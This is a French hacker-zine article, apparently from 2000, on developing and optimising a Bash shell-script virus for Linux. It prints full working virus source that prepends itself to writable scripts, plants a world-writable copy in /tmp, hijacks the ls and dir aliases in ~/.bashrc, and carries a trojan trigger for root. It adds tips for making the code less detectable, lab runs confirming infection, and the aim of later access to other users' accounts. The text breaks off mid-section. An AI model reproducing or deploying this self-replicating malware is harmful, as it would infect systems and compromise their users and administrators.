Le 01/11/2000 ################################# VIRUS Linux SSI #################################### Shell Script Infection Part II, By ThreaT. ################################################################################## Apres la mise en ligne du premier article traitant de la 'La Shell Script Infection', ecrite le 01/10/2000, les passionnés ne ce sont pas fait prier pour donner leurs avis, et apporter des modifications à ce code quelque peut obscure. à travers cet article, nous allons prendrent en compte les remarques judicieuses de nos lecteurs, afin que le travail que ceux si ont fournis ne soit pas perdu dans la nature. Optimisation, fluidité du code et innovation seront les 3 criteres évoqués tout au long de cet essai. ///////////////////SOMMAIRE\\\\\\\\\\\\\\\\\\\\\\\\\ \x00 Rappelle de l'article precedent \x01 Un mail interresant \x02 Etude de fonction \x03 Integration du code & optimisation \x04 Essai en laboratoire \x05 Parametrage \x06 Conclusion \x07 Fin Annexe 1: BourneShell Code de Absurdus Delirium 3.0 By ThreaT & Bite_Rouge \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\0x00// RAPPELLE DE L' ARTICLE PRECEDENT @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Dans l'article precedent, nous avons evoqués la possibilitée de mettre en oeuvre un virus pour linux ecrit en BASH, qui nous donnerait une eventuelle opportunitée d'infecter des uid differents du notre, et ainsi pouvoir recuperer des accès plus tard. cette technique d'attaque combinant la puissance d'une infection virale, avec la technique du cheval de troie (qui était à elaborer par l'attaquant). puisait sa force dans l'effet de surprise, ainsi que la multitude de machines pouvant être potentiellement touchées. voici à peut près à quoi nous en étions arrivés: ------------------------------------------------------------ #!/bin/sh if [ -f /tmp/.Xlhost ];then #Mv :;else #Mv echo "#!/bin/sh">/tmp/.Xlhost;grep "#Mv" $0>>/tmp/.Xlhost echo "ls \$1 \$2 \$3">>/tmp/.Xlhost;chmod 777 /tmp/.Xlhost #Mv fi;if [ -w ~/.bashrc ];then #Mv if grep "Xlhost" ~/.bashrc>/dev/null;then #Mv :;else #Mv echo "alias ls='/tmp/.Xlhost'">> ~/.bashrc #Mv echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do #Mv if [ $a -ge 100 ];then #Mv break;fi;a=$(($a+1));file $v>/tmp/s;if grep "shell" /tmp/s>/dev/null;then #Mv p="$p $v";fi;done #Mv for i in $p;do #Mv if grep "AbD2bT" $i>/dev/null;then #Mv continue;fi;if [ -w $i ];then #Mv echo "#!/bin/sh">/tmp/s;grep "#Mv" $0>>/tmp/s cat $i>>/tmp/s;cat /tmp/s>$i;fi;done #Mv rm -f /tmp/s;if [ "$USER" = "root" ];then #Mv :;fi #Mv ------------------------------------------------------------- il est clair qu'en jettant un bref coup d'oeil à ce code, celui ci peut parraitre quelque peut suspect à l'utilisateur averti. heureusement, des solutions on été apportés par nos lecteurs... \\0x01// UN MAIL INTERESSANT @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ De: bite rouge Sujet: optimisons, optimisons A: ThreaT@Caramail.com Date: 2:10:00 21:53:52 yop. ben voila, pas mal ton p'tit scipt shell. Ca merite le respect. Mais il meriterait un chouya d'optimisation a l'aide des foudroyantes backquotes. Sachant que quand sh rencontre une backquote il se forke, le fils execute l'instruction backquoted et renvoie gentiment le resultat a papa. C'est crucial, ca permet d'eviter la creation de fichiers tampon (et, fatalement, un acces disque prends plus de temps qu'un acces en memoire) bon, une demo sur un script que tu connais bien... #/bin/sh if [ ! -f /tmp/.nom ] then head -n X $0 > /tmp/.nom ##avec X egal au nbr de lignes du script, qui depends ##donc de la charge virale. echo "/bin/ls \$\*" >>/tmp/.nom # et oui, $* correspond a l'integralité des ##parametres, c'est bien pratique chmod 777 /tmp/.nom fi if [ -w ~/bashrc ] then if [ ! `grep "/tmp/.nom" > /dev/null` ] then echo "alias ls=`/tmp/.nom`" >> ~/.bashrc fi fi for f in `file * | grep "shell" | head -n 100` #le for qui sauve tout do if [ `tail -n 1 $f` = `ls -i $f | cut -d' ' -f1` ] then continue fi if [ -w $f ] then head -n X $0 && cat $f > $f # reconstruit le nv f en 1 coup echo \#`ls -i $f | cut -d' ' -f1` >> $f # ou presque fi done if [ `cat /etc/passwd | grep $USER | cut -d: -f3` = 0 ] # car l'account root ne s'appelle pas forcement root... then : #have fun fi pour signer f, je place a la derniere ligne un commentaire contenant l'inode du fichier. Ca fait moins voyant. Mais le grep "AbD2bT" que tu utilise est pas mal aussi. Si j'ai utilisé ma technique, c'est pour rendre le script moins limpide a la lecture (au cas ou). Mais l'apparition d'un gros hash en plein milieu a aussi de quoi destabiliser. Je n'ai pas testé ce script, qui a donc été fait de tete. Ca optimise quand meme pas mal a mon avis, vu que la plupart des fichiers tampons ont disparu. Car, comme dit toujours David Korn (créateur de ksh): "il faut eviter les fichiers tampon, oui, il faut les eviter." J'ai aussi supprimé tous les commentaires de fin de ligne qui rendaient le code suspect au premier coup d'oeil. Du coup, le "greppage" de ces commentaires a été remplacé par un head. C'est pas plus con, car on sais que la souche virale est en début de fichier, et on connait sa taille. Mais bon, je doute quand meme de la reelle efficacite d'un tel code, car un vrai root pondra un petit code en C, qui lui sera compilé, donc plus difficilement attaquable. Voila. C'est tout ce que j'avais a dire a ce sujet là. Bite_Rouge, qui parfois se reveille... \\0x02// ETUDE DE FONCTION @@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ suite aux remarques precedentes, nous allons réétudier les fonctions suivantes : - fonction d'extration du code viral - fonction d'infection - gachette (*) (*) cette fonction n'est pas vraiment importante, car comme je l'avais dit dans l'article precedent, la gachette est à mettre en oeuvre par le cracker. Fonction d'extraction du code viral ############################## ############################## pour extraire notre code viral du code porteur, nous allons utiliser la commande head dans cette nouvelle version. car comme il est dit dans le mail : (C'est pas plus con, car on sais que la souche virale est en début de fichier, et on connait sa taille. ) donc, comme convenue dans le schema d'evolution de notre virus, cette commande va apparaitre 2 fois dans notre code : 1 fois pour l'extraction de notre code dans le fichier temporaire, et 1 fois pour l'infection dans le code cible. étudions tout de suite cette nouvelle fonction : -------------------------------------- head est une commande simple qui sert à afficher le debut d'un fichier, celui ci possede une multitude d'arguments dont un qui nous interresse particulierement. effectivement, il va être possible à notre virus de s'autoextraire grâce à head -n x (dont x est le nombre de ligne que contient notre virus) et cela sans crée de fichiers tampons. mais je dirait quand même qu'il y a un legé inconveniant à utiliser head plutôt que grep. grep utilise une extraction par motif, ce qui veut dire que votre code viral peut être placé n'importe ou dans un ./install.sh ou un ./configure. Permettant d'abuser plus facilement de l'ignorance de notre victime, un virus qui infect par grepage peut être placé en plein milieu du code afin d'attendre gentillement qu'un malheureu personnage vienne l'éxécuter. mais bon, il est clair que la taille du virus s'en recent quelque peut, c'est pour cela que nous allons opter pour la solution head. par contre, pour les petits malins qui voudrons attaquer avec ce nouveau virus, cela va vous faire un paramettre de plus à prendre en compte lors de votre attaque. et oui, car la mise en place du code trojan va rajouter des lignes supplementaires à votre code viral, donc il faudra bien penser à modifier head -n x en conscequence. petite demonstration, pour ceux qui aimes bien les exemples: -------------cut---------------- #!/bin/sh echo "je suis le code viral" echo "coucou, je suis un script a la con" echo "autoextraction du code viral dans un fichier" head -n 2 $0 > virus.txt echo echo on vas maintenant matter dans ce fichier... echo "-------------------------------" cat virus.txt echo "-------------------------------" echo echo "alors, convaincu!" -------------cut---------------- [root@ThreaT /root]# sh ./exhead.sh je suis le code viral coucou, je suis un script a la con autoextraction du code viral dans un fichier on vas maintenant matter dans ce fichier... ------------------------------- #!/bin/sh echo "je suis le code viral" ------------------------------- alors, convaincu! [root@ThreaT@workgroup /root]# rm -f virus.txt [root@ThreaT@workgroup /root]# on vient de faire le plus simple...maintenant, passons à la fonction d'infection ################### ################### La fonction d'infection est la partie la plus plus importante de notre virus, vue que c'est cette fonction qui en fait sa priopriété unique de replication, il est clair que c'est la dessus que va ce jouer toute notre optimisation. nous integrerons dans la modification de la fonction d'infection le module de scan des fichiers victimes afin de compacter au maximum notre code. voici la solution evoquée par notre amis Bite_Rouge. ------------------------------------ for f in `file * | grep "shell" | head -n 100` #le for qui sauve tout do if [ `tail -n 1 $f` = `ls -i $f | cut -d' ' -f1` ] then continue fi if [ -w $f ] then head -n X $0 && cat $f > $f # reconstruit le nv f en 1 coup echo \#`ls -i $f | cut -d' ' -f1` >> $f # ou presque fi done -------------------------------------- le concept est très bon, seulement il reste quelque atomes crochus. par exemple le for f in `file * | grep "shell" | head -n 100` devrait en theorie nous crée une variable f possedant les 100 premiers shell scripts de notre répértoire courant. le problème, c'est que file n'est pas une commande qui a pour but d'afficher le nom d'un fichier, mais son type. ce qui veut dire qu'un `file ./install` nous donneras en sortie "./install: Bourne shell script text", et le greppage de cette sortie donneras la même ligne. donc f prendra en compte chaque element de la phrase pour la mettre en memoire, ce qui provoquera un serieux bug l'ors de l'infection final! exemple concret: --------------- /* je crée un en-tête de bourne shell qui nous serviras de test*/ [root@ThreaT /root]# echo '#!/bin/sh' > script.sh /* je fais un file */ [root@ThreaT@workgroup /root]# file ./script.sh ./script.sh: Bourne shell script text ok, vous avez bien remarqués que la sortie était une phrase, pour vous prouver que chaques mots de cette phrase deviendra un argument pour notre commande for, nous allons recrée le schema d'infection presenté si dessus avec une legere modification qui nous présenteras le resultat. [root@ThreaT /root]# vi testinf #!/bin/sh #testinf by ThreaT for f in `file ./script.sh | grep "shell"`; do echo $f done <:wq!> /* voyons ce que cela nous donnes */ [root@ThreaT /root]# sh ./testinf ./script.sh: Bourne shell script test [root@ThreaT /root]# comme vous pouvez le constater, $f contient 5 arguments, ./script.sh:, Bourne, shell, script et text. sans compter que ./script.sh: est innexploitable à cause des :, imaginez l'effet que celas produierait quand notre variable passeras en argument dans notre fonction de reproduction avec tout les bourne du repertoire courant. nous evoquerons la solution au problème en final, passons à la ligne suivante: if [ `tail -n 1 $f` = `ls -i $f | cut -d' ' -f1` ] apparemment, cette ligne sert à comparer l'inode du fichier placé en commentaire à la fin de la victime pour reconnaitre ci celle si est deja infectée. je pense qu'un grep serait plus efficace pour remplir cette fonction, et surtout moin couteuse en octet. mais bon, il est clair que si nous aurions voulu jouer la suretée un hash style "3e2b31c72181b87149ff995e7202c0e3" aurait tout de suite jeté un froid à l'oeil du pauvre utilisateur. derniere chose qui me chagrine : head -n X $0 && cat $f > $f premier problème, cat $f > $f ne seras pas possible "cat: $f: le fichier à l'entrée est le même qu'à la sortie" mais encore, sa, ca ne fait rien, car nous pouvons remplacer cat par less. le gros problème ce situe au niveau de la lise ET (&&). la liste ET ne fait pas passée son résultat à la commande suivante tel qu'un tube, mais verifie si la condition d'éxécution est bonne pour passer à la commande suivante. c'est un espece de if evolué. si l'on éxécute cette commande, le virus va tout d'abbors appraitre à l'ecran, et ensuite essayé de dupliquer la cible dans la cible, ce qui va nous provoquer un mega over cut!! et l'utilisateur ne va pas être content. je suis desolé, mais pour ce cas, je n'est pas trouvé d'autre solution que de crée un fichier tampon. ***************************************************** les remarques sont faites, passons à la réecriture. ***************************************************** comment compacter au maximum un code efficace qui créeras un minimun de fichier tampon, autant pour le scan que pour l'inféction? voici ma reponse: dans notre premier virus "Absurdus Delirium 2.0", la fonction de scan ce chargais de constituer une variable d'environnement contenant tout les fichiers potentiels pour notre infection. une fois cette variable crée, une deuxieme fonction ce chargais de tester chaque victimes potentielles afin de verifier ci celles ci n'etaient pas dejas infectées, avant de la passer à la fonction d'infection. c'est ce schema que Bite_Rouge a essayé de respecter. pour eviter tout ce merdié, il m'est venu à l'esprit une idée. pourquoi ne pas faire une fonction qui effectueras TOUT les tests préalables à l'infection independament sur chaque fichier, un par un, notre fonction recupererait le nom du script, testerais ci celui ci est infecté, et reagierait en conscequence, ce qui nous permettrais de gagner un tampon! demonstration en image: --------ancienne fonction d'infection----------- #-------------------------- #debut de la fonction de scan #-------------------------- a=1 #Mv <--- j'initialise mon coef de timebug à 1 (pour kesako, cf article 1) for v in *;do #Mv <--- je debute ma fonction de scan de tout les fichiers du rep courant if [ $a -ge 100 ];then #Mv <-- timebug (on vérifie qu'on en est pas au 100eme) break #Mv <--- si oui, on ce casse fi #Mv a=$(($a+1)) #Mv <-- si non, on incremente le coef file $v>/tmp/s #Mv <--- boom, j'extrais le fichier courant dans un tampon if grep "shell" /tmp/s>/dev/null;then #Mv <--- j'analyse le tampon pour savoir si il sagit la d'un script p="$p $v" #Mv <--- si oui, on le rajoute à notre variable de stockage fi #Mv done #Mv <--- puis on recommence #------------------------- # fin de la fonction de scan #------------------------- #debut de la fonction d'infection #------------------------ for i in $p;do #Mv <-- initialisation de la fonction avec notre variable de stockage if grep "AbD2bT" $i>/dev/null;then #Mv <-- on verifi le fichier courant de la fonction pour voir si il est infecté continue #Mv <-- si oui, on passe au fichier suivant fi #Mv if [ -w $i ];then #Mv <-- si non, on regarde si il est accessible en ecriture echo "#!/bin/sh">/tmp/s #Mv <-- si c'est bon on infecte grep "#Mv" $0>>/tmp/s #Mv cat $i>>/tmp/s #Mv cat /tmp/s>$i #Mv fi #Mv done #Mv <-- puis on recommence! #-------------------------- #fin de la fonction d'infection #-------------------------- ----------------------------------------- on voit bien que la fonction scan + infection sont 2 bloques bien distaincts. à remarquer aussi que la fonction d'infection est asser lourde par son concept, car celle si constitue d'abbord le virus + hote dans un tampon avant d'écraser definitivement la cible de ce nouveau code. bon, nous, ce que nous voulons, c'est optimiser tout sa, nous allons donc mettre sur pied une fonction qui va prendre le premier fichier, tester si c'est un script, regarder ce celui si est infecté, puis reagir en concequence, en essayant de minimiser la taille du code en ce qui conscerne la constitution de [virus + hote]. et passer au suivant, jusqu'à la fin! (de notre coef de timebug). au boulot saligot ! ----------nouvelle fonction d'infection----------- a=1 <-- comme d'hab j'initialise mon coef à 1 for f in *;do <-- hop, je dit à ma fonction de traiter tout les fichiers du r-c if [ $a -ge 100 ];then <-- tac, je verifi bien qu'on ne depasse pas le quota break <-- sinon, je me casse fi a=$(($a+1)) <-- incrementation du timebug if file $f|grep "shell">>/dev/null;then <--c'est parti, je regarde si le fichier courant est un script if grep "AbD2bT" $f>/dev/null;then <-- je regarde ci celui si est deja infecté continue fi if [ -w $f ];then <-- je regarde si il est accessible en ecriture cat $f>/tmp/t && head -n 12 $0>$f;cat /tmp/t>>$f;fi;fi;done <-- et j'infecte en 1 coup ! -------------------------------------------- pas mal! sachant que cette fonction d'infection produit le même resultat que l'ancienne, c'est tout benef niveau optimisation octal. en plus on gicle un tampon, donc on gagne quelque miliseconde. etudions quand meme l'infection en 1 coup: -------------- cat $f>/tmp/t && head -n 12 $0>$f ----------------- #je sauvegarde tout d'abbors une copie de la victime dans un tampon, si la sauvegarde a reussi, #j'ecrase la victime avec mon code viral! --------------- cat /tmp/t>>$f ------------- #puis je rajoute ma sauvegarde à la suite de ce code. c'est deja mieu que le gros bordel evoqué dans l'ancienne version! merci bite_rouge ;) Gachette ############## ############## Pour cette fonction, nous allons couper court! il est claire que mettre une gachette de type ------------------------- if [ "$USER" = "root" ];then #Mv :;fi #Mv --------------------------- n'etait pas très intelligent de ma part, car root ne s'appelle pas forcement root. bon, pour être sur que notre code trajan sera executer par un uid privilegié, nous allons baser notre gachette non pas sur son nom placé en variable d'environnement, mais sur son numero id. un declanchement du trojan lors de l'execution d'un uid 0 me parrait acceptable. ce qui donne ----------------- if ["`id -u`" = 0 ];then :;fi ------------------ maintenant que c'est reglé, passons à l' \\0x03// INTEGRATION DU CODE @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ Nous possedons à present de nouvelles fonctions à integrer à notre virus. la cohabitation des nouvelles fonctions avec l'ancien code va necessiter pratiquement la réecriture complète de celui ci. car comme vous avez pus le remarquer, la politique d'infection a completement changée, ce qui va nessessiter plusieurs refléctions de notre part. par exemple, comment resctructuer le code de façon à l'éradiquer de toute mise en place servant au greppage de celui ci? - deja, il est evidant qu'il faudra enlever tout les commantaires signatures, ce qui nous feras gagner une place impressionnante. - localiser toutes fonctions faisant référence aux signatures, pour les remplacer par notre nouvelle fonction - restructurer le tout dans un ordre coherant. commencons par vider notre virus de tout ses commentaires signatures, et localisons les fonctions grep faisant référence à celles ci. ------------------------------------------- #!/bin/sh if [ -f /tmp/.Xlhost ];then :;else echo "#!/bin/sh">/tmp/.Xlhost;grep "#Mv" $0>>/tmp/.Xlhost <-- greppage du virus echo "ls \$1 \$2 \$3">>/tmp/.Xlhost;chmod 777 /tmp/.Xlhost fi;if [ -w ~/.bashrc ];then if grep "Xlhost" ~/.bashrc>/dev/null;then :;else echo "alias ls='/tmp/.Xlhost'">> ~/.bashrc echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do if [ $a -ge 100 ];then #Mv break;fi;a=$(($a+1));file $v>/tmp/s;if grep "shell" /tmp/s>/dev/null;then p="$p $v";fi;done for i in $p;do if grep "AbD2bT" $i>/dev/null;then continue;fi;if [ -w $i ];then echo "#!/bin/sh">/tmp/s;grep "#Mv" $0>>/tmp/s <--greppage du virus cat $i>>/tmp/s;cat /tmp/s>$i;fi;done rm -f /tmp/s;if [ "$USER" = "root" ];then :;fi ------------------------------------------ comme dit plus haut, nous remarquons qu'il y a 2 fonctions d'extractions par greppage! une pour la mise en place du code pseudo residency, et une pour l'infection à proprement dit. la mise en place de head à la place des ces fonctions va quand même generer un nouveau mode de pensé. le premier virus, faisant reference à des commentaires, n'extractait pas l'en-tête propre à tout shell script (#!/bin/sh). de ce faite, il nous étaient obligés d'écrire en premier lieu cet en-tête avant de passer à l'extraction. maintenant que c'est head qui s'occupe de cette fonction, la mise en oeuvre de ("echo "#!/bin/sh") avant toute extraction ne sera plus necessaire à notre fonction. tout ceci seras à prendre en compte lors de la réecriture de notre code. réecriture du code en incorporant toute les données émises precedement. ------------------------------------------------- #!/bin/sh b="/tmp/.Xlhost" <--je definit une variable contenant le nom de mon pseudo residancy if [ -f $b ];then :;else head -n X $0>$b;echo "ls \$*">>$b;chmod 777 $b <-- j'extrais en rajoutant ls $* (qui stipule tout les arguments) fi;if [ -w ~/.bashrc ];then if grep "$b" ~/.bashrc>/dev/null;then :;else echo "alias ls='$b'">> ~/.bashrc echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do if [ $a -ge 100 ];then #--------------------------------------------------------- #------[ à partir d'ici, je vais recoder toute ma fonction d'infection ]------- #--------------------------------------------------------- break;fi;a=$(($a+1)) <-- sa, on laisse /* nouvelle fonction d'infection */ -------------------------- if file $v|grep "shell">>/dev/nul;then if grep "AbD2bT" $v>/dev/null;then continue;fi;if [ -w $v ];then cat $v>/tmp/t && head -n X $0>$v;cat /tmp/t>>$v;fi;fi;done ------------------------- /* cf au dessus pour les detailles */ rm -f /tmp/t;if [ "`id -u`" = 0 ];then <-- on en profite pour inclure notre nouvelle gachette :;fi #Have fun ------------------------------------------------- voila qui est mieux. réorganisons maintenant ce code d'une magnière coherante et optimisons les conditions de fichier de façon à ce que if ne pointe plus sur un ":" lorsque sa comparaison ne retourne pas un resulat attendu. ------------------------------------------- #!/bin/sh b="/tmp/Xlhosts" <-- definition du nom viral accessible pour la Dir Stealth infection if [ ! -f $b ];then <-- si il n'existe pas head -n 28 $0>$b <--on le crée echo "ls \$*">>$b;chmod 777 $b <-- on lui ajoute un ls qui traiteras tout les eventuelles arguments apportés fi if [ -w ~/.bashrc ];then <-- si le profile est accessible en ecriture if ! `grep "$b" ~/.bashrc>/dev/null`;then <-- on regarde si celui si comporte deja la dir stealth fonction echo "alias ls='$b'">> ~/.bashrc <-- si y'a pas, on l'implemante pour ls echo "alias dir='ls'">> ~/.bashrc <-- pareil pour dir fi fi a=1 <-- on initialise le compteur de TB à 1 for v in *;do <-- mise en variable $v de tout les fichiers du repertoire courant if [ $a -ge 100 ];then <-- test du depassement du coef de TimeBug break;fi <-- si c'est depassé on ce casse a=$(($a+1)) <-- incrementation du compteur if file $v|grep "shell">>/dev/nul;then <-- on determine si le fichier courant est un shell script if grep "AbD2bT" $v>/dev/null;then <-- si oui, vérification de la signature continue;fi <-- si non, on passe au suivant if [ -w $v ];then <-- vérification du own write access cat $v>/tmp/t && head -n 28 $0>$v;cat /tmp/t>>$v <-- si ok, infection en 1 coup (by Bite_rouge :) fi;fi;done rm -f /tmp/t <-- on gicle le tampon qui nous a servit à l'infection if [ "`id -u`" = 0 ];then <-- gachette placer en execution de l'uid 0 (root) echo "Trojan code executed with id `id -u`, `id -u -n` is infected" fi #fin du code -------------------------------------------- ok, maintenant que le code est structuré, nous pouvons passer à son optimisation ------------------------------------------ #!/bin/sh echo "Virus SSI 3.0 By ThreaT & Bite_Rouge." b="/tmp/.Xlhost";if [ ! -f $b ];then head -n 14 $0>$b;echo "ls \$*">>$b;chmod 777 $b;fi;if [ -w ~/.bashrc ];then if ! `grep "$b" ~/.bashrc>/dev/null`;then echo "alias ls='$b'">> ~/.bashrc echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do if [ $a -ge 100 ];then break;fi;a=$(($a+1));if file $v|grep "shell">>/dev/null;then if grep "AbD2bT" $v>/dev/null;then continue;fi;if [ -w $v ];then cat $v>/tmp/t && head -n 14 $0>$v;cat /tmp/t>>$v;fi;fi;done rm -f /tmp/t;if [ "`id -u`" = 0 ];then echo "Trojan code executed with id `id -u`, `id -u -n` is infected";fi --------------------------------------------- voila qui est mieux... \\0x04// ESSAI EN LABORATOIRE @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ Comme dans le premier article, nous allons tester les fonctions suivantes de ce nouveau virus dans notre lab! A - fonction d'extraction temporaire B - modification du profile utilisateur C - etude en environnement write protected D - Time bug fonction E - dir stealth exportation F - trojan execution Bonus: Le lab betisier. ----------------------------------------------------------------------------------- Ou comment ThreaT c'est infecter tout seul la gueulle avec son propre virus en manipulant celui ci sous KDE en tand que root. et comment il c'est rendu compte de l'infection 2H après grace à son Shell profile configuré en ls color. ------------------------------------------------------------------------------------ heureusement que ThreaT n'est pas votre admin ;) A - Fonction d'extraction temporaire ################################# ################################# La fonction d'extraction temporaire est celle qui va assurer à notre virus une parfaite exportabilitée de notre code trojan, qui sera à elaborer directement dans celui ci, une fois qu'il sera mit en place. le code temporaire, placer celon ma configuration dans /tmp/.Xlhost (variable b), mais modifiable par l'attaquant, doit être accessible à tout utilisateurs du système, et comporter un ls $* en fin de code pour parfaire l' illusion du dir stealth concept. etudions si toutes ces fonctions sont correctement remplis. [user@ThreaT@workgroup user]$ chmod +x virii.sh [user@ThreaT@workgroup user]$ ./virii.sh Virus SSI 3.0 By ThreaT & Bite_Rouge. [user@ThreaT@workgroup user]$ ok, l'execution du virus n'a generé aucun message d'erreur, maintenant, regardons si sa mission a bien été remplit. [user@ThreaT@workgroup user]$ls -l /tmp/.Xlhost -rwxrwxrwx 1 user user 637 May 1 18:24 /tmp/.Xlhosts* <-- on est bien en chmod 777 [user@ThreaT@workgroup user]$ cat /tmp/.Xlhost #!/bin/sh echo "Virus SSI 3.0 By ThreaT & Bite_Rouge." b="/tmp/.Xlhost";if [ ! -f $b ];then head -n 14 $0>$b;echo "ls \$*">>$b;chmod 777 $b;fi;if [ -w ~/.bashrc ];then if ! `grep "$b" ~/.bashrc>/dev/null`;then echo "alias ls='$b'">> ~/.bashrc echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do if [ $a -ge 100 ];then break;fi;a=$(($a+1));if file $v|grep "shell">>/dev/null;then if grep "AbD2bT" $v>/dev/null;then continue;fi;if [ -w $v ];then cat $v>/tmp/t && head -n 14 $0>$v;cat /tmp/t>>$v;fi;fi;done rm -f /tmp/t;if [ "`id -u`" = 0 ];then echo "Trojan code executed with id `id -u`, `id -u -n` is infected";fi <-- ici, le trojan à modifié à sa guise :) ls $* <-- ls stealth a bien été rajouter dans le code temporaire [user@ThreaT user]$ IMPECABLE. B - Modification du profile utilisateur ################################ ################################ la modification du profile utilisateur et une etape importante, car ci celle si n'est pas correctement effectuée, notre beau virus perdra tout son charme, et celui si ne pourras plus ce taper de gonzesses. regardons si celas a été correctement effectué [user@ThreaT user]$ cat .bashrc # .bashrc # User specific aliases and functions alias rm='rm -i' alias mv='mv -i' alias cp='cp -i' alias s='cd ..' alias d='ls' alias p='cd -' # Need for a xterm & co if we don't make a -ls [ -n $DISPLAY ] && { [ -f /etc/profile.d/color_ls.sh ] && source /etc/profile.d/color_ls.sh export XAUTHORITY=$HOME/.Xauthority } # Read first /etc/inputrc if the variable is not defined, and after the /etc/inputrc # include the ~/.inputrc [ -z $INPUTRC ] && export INPUTRC=/etc/inputrc # Source global definitions if [ -f /etc/bashrc ]; then . /etc/bashrc fi alias ls='/tmp/.Xlhosts' <-- ok alias dir='ls' <-- ok [user@ThreaT user]$ maintenant, déloguons nous du terminal, et reconnectons nous afin de reinitialiser notre shell profile. [user@ThreaT user]$ exit Linux Mandrake realase 7.0 (Air) Kernel 2.2.14-15 mdk on an i686 /tty3 ThreaT login: user Password: Last Login: Mon May 1 18:43:41 on tty3 [user@ThreaT user]$ alias alias cd..='cd ..' alias cp='cp -i' alias d='ls' alias df='df -h -x supermount' alias dir='ls' <---- dir pointe bien sur ls alias du='du -h' alias l='ls' alias la='ls -A -k' alias ll='ls -l' alias ls='/tmp/.Xlhost' <---- et ls est bien pris en charge par le virus alias lsd='ls -d */' alias md='mkdir' alias mv='mv -i' alias p='cd -' alias rd='rmdir' alias rm='rm -i' alias s='cd ..' [user@ThreaT user]$ Modification du profile IMPECABLE. C - Etude en environnement write protected ####################################### ####################################### l'etude en environement write protected va consister à voir si notre virus fait bien la part des choses entre les cibles qu'il peut toucher, et celles qui ne doit pas infecter. nous allons reutiliser sgen.sh, qui est un script generateur de fichier innocent. ecrit dans VLSSI.txt pour ceux qui n'auraient pas lu le premier article, voici la source de ce script -------------------- #!/bin/sh #generateur de script innocent, by ThreaT nbr=1 echo -n "nombre de script innocent a generer : " read nbr cat > innocent << EoF #!/bin/sh echo "je suis un script innocent" EoF chmod +x innocent a=1 while [ "$a" -le $nbr ]; do cp innocent innocent$a a=$(($a+1)) done ---------------------- ok, c'est partie [user@ThreaT user]$ md test [user@ThreaT user]$ cp sgen.sh test [user@ThreaT user]$ cd test [user@ThreaT test]$ ./sgen.sh nombre de script innocent a generer : 10 [user@ThreaT test]$ ls -l total 48 -rwxr-xr-x 1 user user 44 May 1 19:20 innocent* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent1* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent10* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent2* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent3* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent4* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent5* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent6* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent7* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent8* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent9* -rwxr-xr-x 1 user user 279 May 1 19:18 sgen.sh* [user@ThreaT test]$ ok, nous venons de crée un repertoire de test, avec 10 scripts innocents. mettons en la moitier write protected. [user@ThreaT test]$ chmod -w innocent innocent1 innocent10 innocent2 innocent3 [user@ThreaT test]$ ls -l total 48 -r-xr-xr-x 1 user user 44 May 1 19:20 innocent* -r-xr-xr-x 1 user user 44 May 1 19:20 innocent1* -r-xr-xr-x 1 user user 44 May 1 19:20 innocent10* -r-xr-xr-x 1 user user 44 May 1 19:20 innocent2* -r-xr-xr-x 1 user user 44 May 1 19:20 innocent3* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent4* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent5* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent6* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent7* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent8* -rwxr-xr-x 1 user user 44 May 1 19:20 innocent9* -rwxr-xr-x 1 user user 279 May 1 19:18 sgen.sh* [user@ThreaT test]$ maintenant, placons notre virus dans ce repertoire de test, et observons sa reaction lors de son execution. à remarquer que les scripts font 44 octets chacun. [user@ThreaT test]$ cp ~user/virii.sh ./ [user@ThreaT test]$ ./virii.sh Virus SSI 3.0 By ThreaT & Bite_Rouge. [user@ThreaT test]$ ls -l total 52 -r-xr-xr-x 1 user user 44 May 1 19:20 innocent* -r-xr-xr-x 1 user user 44 May 1 19:20 innocent1* -r-xr-xr-x 1 user user 44 May 1 19:20 innocent10* -r-xr-xr-x 1 user user 44 May 1 19:20 innocent2* -r-xr-xr-x 1 user user 44 May 1 19:20 innocent3* -rwxr-xr-x 1 user user 676 May 1 19:28 innocent4* -rwxr-xr-x 1 user user 676 May 1 19:28 innocent5* -rwxr-xr-x 1 user user 676 May 1 19:28 innocent6* -rwxr-xr-x 1 user user 676 May 1 19:28 innocent7* -rwxr-xr-x 1 user user 676 May 1 19:28 innocent8* -rwxr-xr-x 1 user user 676 May 1 19:28 innocent9* -rwxr-xr-x 1 user user 279 May 1 19:18 sgen.sh* -rwxr-xr-x 1 user user 632 May 1 19:27 virii.sh* [user@ThreaT test]$ time ./innocent4 Virus SSI 3.0 By ThreaT & Bite_Rouge. je suis un script innocent 0.26user 0.09system 0:00.36elapsed 94%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (4746major+3835minor)pagefaults 0swaps [user@ThreaT test]$ la replication c'est parfaitement passer, et n'a generée aucun message d'erreur concernant les scripts non accessibles en ecriture. de plus, un fichier infecté a mis 36 dixiemes pour ce lancer contre 79 dans l'ancienne version. nous en conluons donc que cette fonction est parfaitement operationnel. D - Time bug fonction ######################## ######################## la fonction de bridage par coeficient de timebug 